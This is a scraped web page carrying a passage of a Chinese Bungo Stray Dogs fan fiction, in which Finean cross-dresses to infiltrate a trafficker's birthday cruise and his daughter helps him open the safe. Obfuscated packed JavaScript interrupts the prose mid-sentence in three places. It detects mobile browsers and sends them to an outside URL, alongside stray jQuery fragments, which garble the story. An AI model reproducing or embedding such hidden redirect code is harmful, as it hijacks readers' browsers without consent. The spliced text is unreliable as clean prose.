l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16494274|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持,他拿着那张照片,走到太宰治面前,微微仰头看着他,眼神清澈而固执,“这是‘纪念’,纪念……你也应该在的。” 他伸出手,轻轻拉住了太宰治的袖口,仿佛怕他跑掉一样,重复道:“我们,再拍一张,只有我们。” 太宰治鸢色的眼眸中掠过一丝极其复杂的惊讶,还有一丝难以捕捉的、被这固执的要求所触动的柔软。 他低头看着菲那恩拽着他袖子的手,又看看对方那双写满“必须如此”的眼睛,最终无奈地笑了笑,那笑容里却没了平时的虚假面具。 “真是拿你没办法……”他接过相机,示意织田作帮忙。 菲那恩立刻站到太宰治身边,两人肩并肩。 太宰治非常自然地伸出手,搭在菲那恩的肩上,将他往自己身边轻轻带了一下。 菲那恩微微一愣,但没有躲开,只是身体有些僵硬。 灯光再次一闪。 第二张照片吐出,上面只有他们两个。 太宰治脸上挂着比平时真实许多的浅笑,微微侧头看着身旁的人。 菲那恩则显得有些紧张和拘谨,但那双赤红的眼眸却亮晶晶的,紧紧盯着镜头,仿佛要将这一刻牢牢刻印下来。 菲那恩接过这张新的照片,仔细地看着,脸上终于露出了一个浅浅的、却无比真实的安心笑容。 他小心地将两张照片都收好。 夜色渐深,生日会的热闹渐渐平息。 孩子们开始揉眼睛,打着哈欠。 安吾还要回去加班,率先起身告辞,悄然离开。 太宰治斜倚在门框边,看着菲那恩被咲乐拉进了孩子们的小卧室。 他没有进去,只是安静地等着,听着里面传来咲乐软糯的说话声和菲那恩有些生涩却无比耐心的低低回应。 卧室里,咲乐躺在小床上,小手紧紧抓着菲那恩的一根手指,眼睛都快睁不开了,却还强撑着说话。 “菲那恩哥哥……今天,超级开心……”她小声嘟囔着,“要是……每年生日……都这么开心就好了……” “嗯。”菲那恩笨拙地应着,用空着的手轻轻拍了拍她的被子。 “想……每天都像今天一样……想菲那恩哥哥……一直在……”女孩的声音越来越小,带着浓浓的睡意,“明年……明年我们还一起做蛋糕……好不好?一定会……更好吃的……约好了哦……” 菲那恩看着女孩渐渐合上的眼睛,听着她稚气却真挚的约定,心中那片柔软的角落被再次触动。 他沉默了片刻,然后非常轻、非常认真地回答: “好,那就约好了。” 他竟然……真的开始期待下一个新年,下一个生日,下一次一起做蛋糕。 这种对未来产生明确期盼的感觉,对他而言陌生而又新奇。 等到孩子们的呼吸都变得均匀绵长,菲那恩才小心翼翼地抽出手指,悄无声息地退出了房间。 织田作之助正等在外面,见他出来,低声道:“谢谢你,菲那恩,今天真是帮大忙了。” 菲那恩摇了摇头:“这没什么……” 他犹豫了一下,想起曾经听到的关于眼前这个男人的传闻,这在港口mafia实在过于奇怪。 他终于好奇地问出了口:“我听说……织田作有不杀人的原则?” 织田作之助平静地点了点头:“嗯。” “……为什么呢?”菲那恩感到困惑。 织田作望向窗外沉沉的夜色,沉默了片刻,然后转回头,用那双总是带着倦怠的蓝色眼睛看着菲那恩,语气平淡却蕴含着某种沉重而坚定的力量: “因为——我想写小说。” 菲那恩怔住了。 这个答案远比他想象的任何理由都更……超乎意料。 织田作继续解释道,声音不高,却字字清晰:“不再杀人,是为了能拥有书写故事的资格,我想写一个……能让人读完最后一页,合上书后,还能回味一会儿的故事。” 在说这句话时,织田作那双平时显得有些疲惫和平静的眼睛里,忽然燃起了一种菲那恩从未见过的光芒。 那不是力量的光芒,不是杀戮的锐利,而是一种更为深沉、更为坚韧的东西——一种对“创造”而非“毁灭”的渴望,一种在血与火的背景下显得无比纯粹的理想之光。 这光芒,让菲那恩感到一种灵魂深处的震撼。 他久久无法言语。 这时,等在门外的太宰治轻轻敲了敲门框,探进头来,脸上又挂起了那副惯常的、让人捉摸不透的笑容:“打扰了~时间不早了,该回家了哦。” 菲那恩这才从震撼中回过神,他最后看了一眼织田作之助,那双赤红的眼眸里充满了复杂的情绪。 他点了点头,低声对织田作说了句“再见”,然后朝着太宰治走去。 走在回公寓的夜路上,菲那恩异常沉默,指尖无意识地摩挲着口袋里那两张温热的相片。 太宰治也只是安静地走在他身边。 人类的感情,人类的选择,人类的梦想……远比菲那恩想像的更要复杂,也更加耀眼。 这些都是菲那恩以前从来没有看见过的东西。 39.女装 港口Mafia首领办公室内,气氛凝重。 森鸥外指尖点着桌上厚厚一沓情报文件,声音平稳却带着不容置疑的威压:“佐藤健一那个走私线,多亏太宰君追查了这么久,终于浮出水面了。” “这条走私线的背后真正运营者,是山本集团的董事长——山本浩介。” 他抬起眼,目光扫过站在面前的三人——太宰治、中原中也,以及安静立在稍后位置的菲那恩。 “表面是正经的航运和地产大亨,妻子难产去世,极其疼爱女儿,但背地里却是横滨最大的人口与毒品走私链之一的真正掌控者,佐藤健一只是棋子罢了。” “他手段狡猾,行事谨慎。”森鸥外继续说道,“我们一直缺乏直接证据链将他与走私线彻底钉死,但现在,有个机会。” 他按下遥控器,墙壁屏幕上出现了一张豪华游轮的宣传海报,灯火辉煌,极尽奢华。 “明晚,山本最宠爱的独生女将在他的私人游轮‘海明珠’号上举办盛大的生日宴会。届时,名流云集,也是山本浩介松懈享乐的时候。” “根据可靠情报,他会在宴会期间,在游轮顶层的私人书房里,与心腹进行一批‘重要货物’交接的最终确认。我们需要拿到他保险柜里的交易记录和客户名单。” 森鸥外的目光最终落在了菲那恩身上。 “山本此人,狡诈多疑,安保等级极高。而且……”他顿了顿,语气略带一丝玩味,“他有个众所周知的癖好——好色,尤其偏爱……看起来清纯无辜的年轻少女。” 中原中也啧了一声,压了压帽檐,“啧,明明他自己还有个女儿。” 太宰治嘴角虽然还挂着那抹惯常的弧度,但鸢色的眼眸深处却也掠过一丝冷意。 “中也君和太宰君的面孔,在里世界不算秘密,近距离接近容易打草惊蛇。”森鸥外下了结论,“所以,这次任务的关键在于——菲那恩君。” “我……?”突然被点名的菲那恩一脸不可置信地指了指自己,血红的眼眸里带着一丝茫然。 森鸥外语气不容拒绝,“你需要扮成受邀参加宴会的少女,接近山本,找机会潜入书房,拿到情报。” “啊,扮少女吗……”菲那恩若有所思。 “只是穿一下不同的衣服而已,都是为了完成任务。”森鸥外拍了拍手,一个女下属推来挂满华丽裙装的移动衣架。 他亲自挑选出一套——一件墨蓝色丝绒洋装连衣短裙,领口和袖口点缀着细腻的白色蕾丝,搭配白色长筒袜、黑色小皮鞋。 “菲那恩君的外形条件无可挑剔,关键是气质……” 他还拿起一顶金色的长卷发假发,但比划了一下后又放下了。 “不,头发就用你本来的颜色更好,粉色很少见,更能吸引注意。”森鸥外目光锐利,“发型……扎成双马尾会更符合要求。” 菲那恩被带进隔壁房间装扮。 太宰治倚在门框上“监工”,脸上的笑容有些淡,看着那双白皙的双腿被丝袜一点点包裹,看着粉色长发被梳成双马尾,看着那张原本就精致得过分的脸被点缀得更加无垢……他心底那点不情愿像藤蔓一样悄悄缠绕。 他是这个任务的主负责人,比任何人都清楚任务必须完成,但让菲那恩以这种方式接近那个目标……他心里莫名地升起一股烦躁和抵触。 当菲那恩再次走出来时,整个办公室落针可闻。 墨蓝丝绒衬得他肌肤更加白,短裙下的双腿被白色吊带袜勾勒得纤细笔直,双马尾的粉色长发让他看起来像橱窗里最昂贵的洋娃娃。 他脸上没有什么明显情绪,但细看之下,那白皙的耳尖却透出了一点点极其淡薄的粉色,赤红的眼眸微微垂下,视线有些游移,似乎不太习惯这样的穿着,下意识地用手轻轻向下扯了扯裙摆。 “布料……有点少,好不习惯……”他轻声道,语气里带着一丝轻微的不自在。 这种混合着微微窘迫的纯净感,反而更加吸引人了。 “完美。”森鸥外满意地颔首。 太宰治看着这样的菲那恩,喉咙有些发紧。 他扯出一个笑容,走上前,指尖轻轻勾了勾菲那恩耳边的发丝,声音比平时低哑几分:“嗯,很‘合适’。” 这句夸奖里倒是听不出多少喜悦。 森鸥外仿佛看穿了什么,微笑道:“为了让菲那恩君提前适应这套装束和形象,避免任务时露出破绽,今天就先这样穿回公寓吧。走我的私人通道,不会有人看到。” 菲那恩迟疑了一瞬,不知道该不该点头。 但森鸥外并未给他拒绝的机会。 虽然走了首领私人通道,避免了被港口Mafia成员看见的情况,但从港口Mafia大楼到公寓的那段路上,菲那恩的回头率达到了前所未有的高度。 晚风微凉,吹拂着他裸露的腿部肌肤,带来一阵阵陌生的凉意。 他有些不自在地并拢双腿,步伐都比平时小了些,那双穿着小皮鞋的脚似乎都不知道该怎么走路才自然。 他脸上那点淡淡的、因不习惯衣物而产生的细微窘迫,在旁人看来却成了羞涩纯情的证明,搭配那无可挑剔的容貌,简直男女通杀。 平时都低着头,想快速离开这片区域的男男女女们却纷纷侧目,看着那个穿着精致洋装、有着罕见粉色长发和赤红眼眸的“美少女”。 “哇,你看那个女孩子……好可爱!” “好漂亮……是COSER吗?” “发色好少见,看起来似乎是天生的诶!” “看起来好小只啊……” 窃窃私语和毫不掩饰的惊艳目光从四面八方涌来,甚至有人下意识地举起手机想要拍照。 菲那恩血红的眼眸里掠过一丝不易察觉的烦躁。 他讨厌这种被过多关注的感觉,尤其是当他处于这种……装扮下。 他后悔当时没有严词拒绝森鸥外了。 而一直在他身边半步距离走着的太宰治突然极其自然地伸出手,握住了菲那恩微凉的手腕。 好在菲那恩头发长,干扰人类认知的秘术失灵后,如果不特别注意看,也基本上看不出来。 太宰治的手掌温热,力道不容拒绝,带着一种明确的保护意味,牵着他快步穿过了聚集起的人群,给菲那恩解了围。 菲那恩愣了一下,手腕上传来的温度和力度让他有些意外。 他抬头看向太宰治的侧脸,线条有些紧绷,似乎……不太高兴? 他没有挣脱,这种被隔开外界纷扰的感觉,奇异地缓解了他方才的不适和窘迫。 太宰治一路牵着他,直到走进公寓楼下的大厅,才松开了手,指尖那微凉的触感和细腻的皮肤似乎还残留着,让他不自觉地蜷了蜷手指。 “啧,森先生那糟糕的恶趣味……”太宰治的声音听起来有些闷,他没看菲那恩,只是盯着电梯上升的数字,“以后……尽量还是不要穿成这样在外面走。” 菲那恩低头看了看自己的裙子,有些苦恼:“本来就是因为任务而已,我以后也不会再穿的,毕竟太不方便了。” 他完全没理解太宰治话里更深层的含义。 太宰治:“……” 他深吸一口气,觉得自己简直是在对牛弹琴。 终于回到公寓,菲那恩几乎是松了口气,踢掉小皮鞋,脚直接踩在地板上,才感觉找回了一点自在。 太宰治反手关上门,看着菲那恩放松地直接往沙发上一倒,拿起电视遥控器准备找电影看。 他叹了口气,抓了抓自己的头发,语气是难得的严肃,带着一丝不易察觉的焦躁: “听着,菲那恩,明天晚上,那种场合,那种目标……你得知道怎么保护自己。”他顿了顿,似乎在斟酌措辞,声音压低了些,带着一种近乎诱哄的认真,“男人……很多都是视觉动物,更是靠下半身思考的糟糕生物。” “尤其是山本那种人,他看到你像你这样的,不管你是男是女……绝对都不会安什么好心。” 他开始絮絮叨叨地讲解一些所谓的“防狼知识”。 “如果他试图靠近你,贴得太近,”太宰治演示性地向前一步,距离瞬间缩短,他身上淡淡的绷带气息笼罩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太宰治再次无奈扶额,“……你只要记得谨慎小心,注意防备其他心怀不轨之人就行,特别是男的。” 菲那恩点了点头,消化了一下,然后非常认真地看着太宰治: “这些技巧……”他歪了歪头,粉色的双马尾随着他的动作轻轻晃动,心情似乎不错,“需要用来防备太宰吗?” “……”太宰治所有的话瞬间卡在了喉咙里。 他猛地抬起手捂住自己的脸,发出一声近乎呻吟的、带着笑又无比挫败的叹息。 “……菲那恩,”他的声音从指缝里漏出来,闷闷的,“你有时候……还真是犯规啊。” 这种无意识的直球,比任何刻意的话语都更能击中人。 菲那恩困惑地眨了眨眼睛:“……我说错什么了吗?” 太宰治放下手,露出那张眼底情绪翻涌的脸,最终只是走上前,轻轻揉揉了一下菲那恩的脑袋。 “没错……总之,记住我刚才说的,对别人用。”他顿了顿,声音低沉下去,却又缱绻莫名,“但对我……不需要。” 菲那恩似懂非懂地点了点头,但太宰治那句“对我……不需要”却确确实实被他记在了心里。 “虽然说了那么多,但明天我会在附近。”太宰治的声音恢复了些往常的懒散,但语气是认真的,“耳麦保持畅通,我会告诉你该怎么做。遇到任何不对劲,立刻给我信号。” “嗯哼。”菲那恩点头。 有太宰在附近,他确实会觉得安心很多。 菲那恩看着他,忽然伸出手,指尖轻轻碰了碰太宰治微微蹙起的眉心。 太宰治猛地一怔。 “太宰,”菲那恩忍不住弯了弯如红宝石般的眼眸,“你在担心我吗。” 不是疑问,是陈述。 太宰治抓住他微凉的手指,握在掌心,然后轻轻放下。 他扯出一个惯常的笑容:“是啊,我当然担心,要是任务搞砸了,森先生可是会扣我奖金的~” 菲那恩笑了笑,没有再反驳什么。 太宰不愿意承认的某件事找借口的样子……也好可爱呢。 40.“海明珠” 豪华游轮“海明珠”如同一座漂浮在海上的不夜城,灯火璀璨,乐声悠扬,空气中弥漫着昂贵香水、醇酒与海鲜冷盘混合的奢靡气息。 港口mafia不知从哪里搞来了入会邀请函,菲那恩顺利登上游轮,进去宴会区。 他站在宴会厅入口的阴影处,深吸了一口气。 不得不说,提前适应这条墨蓝色的丝绒短裙确实很有必要。 出发之前,尾崎红叶给他化上了精致的妆容,还在他的胸口塞上了硅胶假胸,让他看上去确确实实就是一个天真无邪的“少女”。 除去他出众的外貌因素,最关键的还是他有着能够改变声音的血族秘术,这让他成为了胜任此次任务的唯一人选。 他快速扫过喧闹的人群,快速评估着环境。 就在目光掠过连接甲板的弧形楼梯时,他的视线几不可察地停顿了一秒。 在二楼栏杆的阴影处,立着一个身形高挑瘦削的男子。 他穿着一身略显宽大的黑色外套,领口和袖口处露出柔软的白色绒毛,肤色是近乎病态的苍白,与深色的衣物相映,给人一种脆弱又诡谲的感觉。 最引人注目的是他头上那顶白色的、毛茸茸的帽子。 那人似乎并未刻意看他,只是低垂着那双紫红色眼睛,望着楼下狂欢的人群,他的嘴角似乎含着一丝极淡的笑意,但那笑意并未抵达眼底,反而让那双眼睛显得更加空洞和冰冷。 菲那恩的瞳孔微微收缩。 一种强烈的、近乎本能的警惕感瞬间升起。 他是谁?这种打扮……也不像是工作人员,是宾客吗? 这时微型耳麦里传来太宰治清晰冷静的声音,带着一丝不易察觉的电流杂音:“目标在九点钟方向,靠近香槟塔,穿着深紫色西装,有点秃顶的那个,他注意到你了。自然一点,走过去,拿一杯酒,别喝。” 菲那恩压下心中陡然升起的疑虑和不安,专心眼前的任务,依言而动。 他尽量让自己走路的姿态显得生涩又好奇,符合一个初次参加这种盛宴的“少女”形象。 血红的眼眸微微垂下,避开那些投来的或惊艳或探究的目光,专注于脚下和光滑的大理石地面。 他能感觉到一道灼热的视线牢牢锁定了自己,来自那个被称为山本浩介的男人。 那目光像湿冷的蛇,滑过他的脸颊、脖颈、被丝绒包裹的胸口,最后流连在短裙与长袜之间那截绝对领域上。 菲那恩强忍着生理性的厌恶,指尖微微发凉。 “很好,他过来了。”太宰治的声音依旧平稳,但语速稍稍快了一点,“记住我教你的。别让他得手,但也别完全拒绝,吊着他。” “这位美丽的小姐,似乎有些面生?”一个故作低沉的声音在身边响起,带着令人不适的靠近。 山本浩介已经走到了他面前,手里端着两杯金黄色的香槟,将其中一杯递向他,“不知是否有这个荣幸,请你喝一杯?” 菲那恩按照太宰的指示,没有立刻去接,而是微微抬起眼,露出一个有些不知所措的表情,轻轻摇了摇头,细声细气地说:“我……不太会喝酒。” “哦?不会喝酒?”山本浩介笑了起来,眼角的皱纹堆叠在一起,目光更加露骨地在他身上打转,“没关系,这只是香槟,像果汁一样,不会醉的,来,尝尝看?” 他几乎将酒杯塞到了菲那恩手里,手指“不经意”地擦过菲那恩的手背。 菲那恩的身体几不可察地僵硬了一瞬。 耳麦里,太宰治的呼吸似乎停顿了一秒,随即响起,声音压得更低:“拿着,做做样子,别真喝。” 菲那恩接过酒杯,指尖冰凉,他垂下眼睫,掩饰住眼底一闪而过的寒意。 “一个人来的?”山本浩介靠得更近了,那股混合着古龙水和雪茄的味道几乎将菲那恩笼罩,“像你这样可爱的小姐,怎么会没有人陪伴呢?” “我和……朋友一起来的,他暂时走开了。”菲那恩小声回答,下意识地微微后退了半步,试图拉开距离。 “哦?那真是太不体贴了。”山本顺势又逼近半步,笑容越发油腻,“不如,让我来陪你聊聊?我对这艘船很熟悉,可以带你去看看一些……有趣的风景。” 他的手看似随意地搭上了菲那恩裸露的胳膊,指尖带着令人作呕的温度。 菲那恩几乎要控制不住拧断那只手的冲动。 “腰侧,或者踩脚。”太宰治冰冷的声音及时在耳麦中响起,带着一种强压着什么的紧绷,“快!” 菲那恩猛地一个“踉跄”,像是被谁撞了一下,手肘“不小心”重重撞在山本的腰侧,同时精准地、狠狠地一脚踩在了山本擦得锃亮的皮鞋上! “唔!”山本痛得闷哼一声,脸上的笑容僵住,下意识地松开了手,弯腰去捂自己的脚。 “对、对不起!”菲那恩立刻后退两步,脸上适时地泛起惊慌和愧疚,血红的眼眸里瞬间蒙上一层水汽,看起来快要哭出来一样,“我不是故意的!您没事吧?” 菲那恩这副泫然欲泣、我见犹怜的模样,反而让山本不好发作。 耳麦里太宰治的声音传来,听起来有些感概,“……没想到你演技还挺好的,但平时怎么看起来那么呆?” 菲那恩听着耳麦里太宰治的话,似乎想解释其实只是秘术效果而已,但眼下的情形让他不得不选择沉默。 周围已经有人看了过来。 “没、没事……”山本浩介勉强直起身,挤出一个扭曲的笑容,脚趾还在隐隐作痛,“是我不小心,站得离小姐太近了。” 他眼底闪过一丝疑虑,但很快又被菲那恩那副极具欺骗性的外表和惊慌失措的神情所掩盖。 或许真的只是意外? “看来这里不太安全,总是有人撞来撞去。”山本重整旗鼓,再次露出那种势在必得的笑容,“我知道一个更安静的地方,我的私人书房就在上层,那里有更好的酒,和绝佳的海景……” 就是那里! 菲那恩和耳麦那头的太宰治同时捕捉到了这个关键信息。 “答应他。”太宰治的声音立刻传来,“找个借口,比如需要先去一下洗手间整理一下,让他告诉你具体位置,十分钟后过去。” 菲那恩脸上依旧带着惊魂未定的柔弱,轻轻点了点头,声音细弱:“好、好的……但是,我想先去一下洗手间,可以吗?刚才吓到了……能请您告诉我书房怎么走吗?我稍后自己过去。” 山本眼中闪过欣喜,立刻详细描述了通往他书房的路線,甚至贴心地说会吩咐保镖不在门口阻拦“一位粉色头发的可爱小姐”。 菲那恩记下路线,对着山本微微鞠躬,然后转身快步走向洗手间的方向,仿佛真的急需整理妆容。 一进入洗手间,确认隔间里没有其他人,菲那恩立刻对着隐藏的麦克风低声道:“位置确认,顶层东侧走廊尽头,有保镖,但会放我过去。” “收到。”太宰治的声音清晰传来,“做得很好,你现在去约定的露台,中也已经就位,他会给你备用通讯器和微型摄像头。五分钟后,我会制造一点小混乱吸引注意力,你趁机上去。” “明白。”菲那恩应道。 他对着镜子,看着镜中那个穿着华丽裙装的“少女”,深吸一口气,扯出一个略显僵硬的、符合人设的羞涩笑容。 然后,他转身走了出去,身影重新融入那片浮华与喧嚣之中,像一尾悄然游向猎物的、披着美丽伪装的掠食者。 宴会还在继续,无人知晓暗流已然涌动。 菲那恩按照山本浩介指示的路线,走向通往顶层的专用电梯。 走廊铺着厚厚的地毯,隔绝了楼下宴会的喧嚣,气氛变得安静而压抑。 两名穿着黑色西装的保镖站在书房门口,目光锐利地扫视过来,其中一人抬起手,拦住了他:“抱歉,小姐,我们大小姐正在里面,请稍等。” 突然,一个穿着昂贵定制白礼裙、看起来约莫十八九岁的少女怒气冲冲地从里面跑了出来,眼眶发红,似乎刚哭过。 她身后传来山本浩介压抑着怒火的低吼:“美惠!山本美惠!你给我回来!今天是你生日,那么多客人等着!” “让他们等去吧!你眼里只有你的生意和那些‘客人’!”名叫美惠的少女头也不回地喊道,声音带着哽咽。 她一眼就看到了被保镖拦住的、打扮得精致过分的菲那恩。 山本美惠的脚步顿住了。 她上下打量着菲那恩,目光在他明显精心打理过的容貌上停留了片刻,那双和山本有几分相似的眼睛里瞬间充满了鄙夷、愤怒,以及……一丝不易察觉的同情。 “又是这样……”美惠低声嘟囔了一句,语气充满了厌烦。 她显然不是第一次见到父亲带这种“女伴”来私人领域,也知道父亲每次都会在事后处理掉他的“女伴”。 她忽然一把抓住菲那恩的手腕,力 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她看向菲那恩,目光里的鄙夷淡去了,取而代之的是一种复杂的审视。 “你叫什么名字?”她问,声音比刚才柔和了些。 “……菲娜。”菲那恩轻声回答出事先准备好的名字,维持着受惊和不安的模样,微微低下头,指尖揪着丝绒裙摆。 耳麦里一片寂静,太宰治显然也在密切关注着这边的意外发展。 “菲娜……”山本美惠重复了一遍,走上前几步。 她外貌不算惊艳,但气质绝佳,身上带着淡淡的、甜美的少女香水味,与这艘船上奢靡浮华的气息格格不入。 “是他逼你来的,对不对?用钱?还是用别的威胁你?”她的语气里没有高高在上的质问,反而带着一种了然于胸的苦涩,仿佛早已目睹过无数次类似的戏码。 菲那恩没有立刻回答,只是将头垂得更低,纤瘦的肩膀微微缩起,这沉默在山本美惠看来无疑是一种羞于启齿的默认。 少女叹了口气,走到巨大的落地窗前,望着外面吞噬一切光线的黑暗,声音轻得像是在自言自语:“我知道他是做什么的……我一直都知道,那些不能见光的‘生意’,那些来来往往的‘客人’……还有像你这样的‘女伴’,最后都会消失。” “趁现在,快走吧。”山本美惠忽然急切地说,她走到一个装饰用的花瓶后面,摸索了一下,竟然拿出一个厚厚的信封和一张房卡,“这里面有些现金,还有一张隔壁港口的船票,是明早最早的班次,用这个房卡可以打开下层一间备用清洁舱的门,你可以在那里躲到明天早上,然后就可以离开!永远别再回来!” 她将东西塞到菲那恩手里,眼神恳切:“被他带上来的女孩,从来没有好下场!我不想再看到有人因为我父亲而消失!” 菲那恩握着那带着少女体温的信封和房卡,一时间有些怔忡。 耳麦里,太宰治的声音极轻地传来:“她竟然在试图救你……但任务优先,菲那恩。机会难得,我们需要书房的情报。” 理智告诉菲那恩应该继续执行任务,但看着眼前这个明明自身也深陷泥潭、却还想着伸手拉别人一把的少女,一种极其陌生的情绪在他心里漾开了一丝微弱的涟漪。 她和她那个坏事做尽的父亲,仿佛是截然不同的两种存在。 这一次,他做了他以前绝对不可能做的“多余”的事。 “为什么……”菲那恩轻声问,声音里带着真实的困惑,“为什么要帮我?你就不怕……你父亲知道吗?” 山本美惠苦笑了一下,笑容里充满了与她年龄不符的苍凉:“怕?我当然怕,但他是我父亲……我知道他罪孽深重,不可饶恕。” “可是……”她的声音哽咽了一下,“他会记得我所有喜欢的口味,会因为我小时候一句喜欢钢琴就买下整个音乐厅,会在每次出差回来给我带最幼稚的伴手礼,会因为我生病而彻夜不眠……你说,他这样的人,怎么会……怎么会同时做出那么可怕的事情呢?” 她深吸一口气,努力平复情绪:“但正因为他是我父亲,我才更不能眼睁睁看着他的罪孽继续加深,能救一个是一个……这或许……是我唯一能做的、微不足道的赎罪。” 人的复杂,在这一刻如同汹涌的潮水,冲击着菲那恩的认知。 冷血的恶与挣扎的善,竟然可以如此扭曲而真实地共存于一个家庭,甚至一个人心中。 41.异变陡生 菲那恩定定地看着山本美惠,声音语气变得和之前完全不一样,“抱歉,美惠小姐,我……还不能走。” 山本美惠愣了一下,语气变得更焦急,“为什么不走,父亲真的很可怕!” 菲那恩深吸一口气,选择直接说明目的,“因为,我是来终结你父亲罪孽的人。” 空气似乎一瞬间凝滞了。 “菲那恩!”太宰治在耳麦里震惊地低喊了一声,但随即陷入了沉默,似乎在快速评估着突发的不可控局势。 山本美惠脸上的血色瞬间褪去,她踉跄着后退一步,难以置信地看着菲那恩。 那双原本盛满同情和疲惫的眼睛里,此刻充满了震惊、恐惧,以及一丝被背叛的刺痛。 “你……你说什么?”她的声音颤抖得不成样子。 “港口Mafia。”菲那恩平静地吐出这个词,血红的眼眸中不再有丝毫伪装出的怯懦,只剩下一种非人的冷静,“我们需要你父亲保险柜里的交易记录和客户名单,那些证据,足以终结他的一切,也能拯救未来无数可能被他残害的人和家庭。” 他顿了顿,目光落在美惠苍白的脸上,“这……或许也是你真正想看到的‘赎罪’方式,不是吗?而不是一次次地,徒劳地送走即将遇害的女伴、记者和警察。” 美惠猛地捂住嘴,眼泪无声地滑落,她靠着冰冷的墙壁缓缓滑坐在地,肩膀剧烈地颤抖起来。 “我一直都知道……迟早会有这么一天……”她哽咽着,声音破碎,“可是……为什么是你?为什么是用这种方式?你看起来……明明那么……” “无害?”菲那恩接话,语气里带着一丝极淡的嘲讽,他轻轻整理了一下自己昂贵的丝绒裙摆,“这是最有效的伪装,而你父亲的弱点,显而易见。” 美惠抬起头,泪眼朦胧地看着他:“你们……会杀了他吗?” 菲那恩沉默了片刻。 耳麦里,太宰治没有给出任何帮助和指示,似乎将决定权完全交给了他。 “我们的目标是证据。”菲那恩闭上眼睛,避开了直接的问题,“但反抗者,通常没有好下场。” 这几乎是默认。 美惠闭上眼睛,更多的泪水涌出。 巨大的痛苦和挣扎在她脸上交织。 她对父亲的爱与憎恶,如同两把钝刀,反复切割着她的心脏。 就在这时,音乐厅的门被轻轻敲响,外面传来保镖谨慎的声音:“大小姐?您在里面吗?老爷问那位粉色头发的可爱小姐还在您这里吗?” 美惠猛地睁开眼,看向菲那恩,眼神复杂到了极点。 菲那恩也看着她,血瞳沉静,等待着她的决定,是尖叫着揭发他,还是…… 美惠深吸一口气,努力让自己的声音听起来正常,甚至带着一丝不耐烦:“看到了!她不舒服,我在照顾她!告诉父亲,我一会儿就带她过去!” 门外的保镖应了一声,脚步声渐渐远去。 美惠扶着墙壁,慢慢站起身。 她擦干眼泪,看向菲那恩的眼神已经不同,那里面有一种破釜沉舟的决绝。 “我知道一条密道,可以直接通到书房后面的休息室。”她的声音很低,却异常清晰,“父亲的书房有最新的虹膜和指纹双重锁,还有重力感应警报,不知道正确方法,强行闯入立刻就会触发最高级别的警戒。” 她走向房间角落一座不起眼的雕像,轻轻转动底座,伴随着极轻微的摩擦声,一面书架缓缓移开,露出后面幽暗的通道。 “这条通道只有我和父亲知道。”美惠回头看向菲那恩,眼神哀伤却坚定,“我可以帮你进去,但是……请答应我,如果可能……尽量……留我父亲一命。” 她知道自己这个要求多么可笑和自私,但她无法不说。 菲那恩看着她,点了点头:“我会尽量的。” 这不是承诺,但这已是菲那恩能给出的最大限度的让步。 美惠似乎也明白,她苦涩地笑了笑:“走吧,时间不多了。” 她率先走入密道,菲那恩紧随其后。 耳麦里,太宰治的声音终于再次响起,带着一种复杂的低沉:“……小心,中也已经在游轮外围接应。” 密道阴暗狭窄,充满了灰尘的气息,美惠对这里极为熟悉,她甚至能摸黑前行。 “父亲的保险柜密码,是我的生日,也就是今天,倒过来加一个字母i……”她在黑暗中轻声说,声音带着难以言喻的酸楚,“他以为没人知道……他总觉得最危险的地方就是最安全的……” 很快,前方出现微弱的光线和一扇几乎与墙壁融为一体的暗门。 美惠停下脚步,示意菲那恩靠近。 “透过这个缝隙,可以看到书房里的大部分情况。”她极轻地说,“我会从这里出去,引开父亲的注意力。” “你找准机会,用这个……”她从礼服内衬里拿出一张薄如蝉翼的卡片,“这是我的权限卡,可以暂时覆盖重力感应系统十分钟,密码是010101。” 菲那恩接过卡片,点了点头。 美惠最后深深地看了他一眼,那眼神仿佛包含了千言万语,最终只化为一声几乎听不见的叹息。 她整理了一下表情,推开暗门,走了出去。 “父亲?您还在忙吗?”她的声音恢复了那种带着些许娇纵的大小姐语调。 菲那恩透过缝隙,看到山本浩介正坐在宽大的书桌后,对着电脑屏幕眉头紧锁。 听到女儿的声音,他立刻抬起头,脸上瞬间堆起了笑容。 “美惠?你怎么从那里出来了?生日宴会的主角怎么能缺席这么久?”他站起身,绕过书桌走向女儿,似乎已经不在意刚刚的争吵,语气中只剩无奈。 “下面太无聊了嘛。”美惠撒娇道,自然地挽住父亲的手臂,将他引向落地窗的方向,“父亲,您看外面的月亮,好美啊……您还记得我小时候,您经常抱着我在游轮上看月亮吗?” 山本浩介显然十分吃自己唯一的女儿这一套,脸上的警惕和焦躁软化下来,沉浸在回忆中:“当然记得,我的小美惠那时候只有那么一点点大……” 就是现在! 菲那恩如同暗影般悄无声息地滑出密道,直扑那个巨大的黄铜保险柜。 他动作快得只剩下一片模糊的影子,权限卡划过隐藏的读卡器,指尖飞快地输入密码。 保险柜发出极轻微的“嘀”声,绿灯亮起。 山本浩介似乎察觉到了什么,猛地回头:“什么声音?!” 但已经太晚了。 菲那恩已经拉开了保险柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512777|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的门,里面厚厚的文件、移动硬盘赫然在目。 他毫不犹豫地将所有东西扫入随身的一个特殊材质的防水袋中。 “是你?!”山本浩介看到菲那恩,瞬间明白了一切,暴怒扭曲了他的脸,“美惠!你竟然帮着他骗我?!” 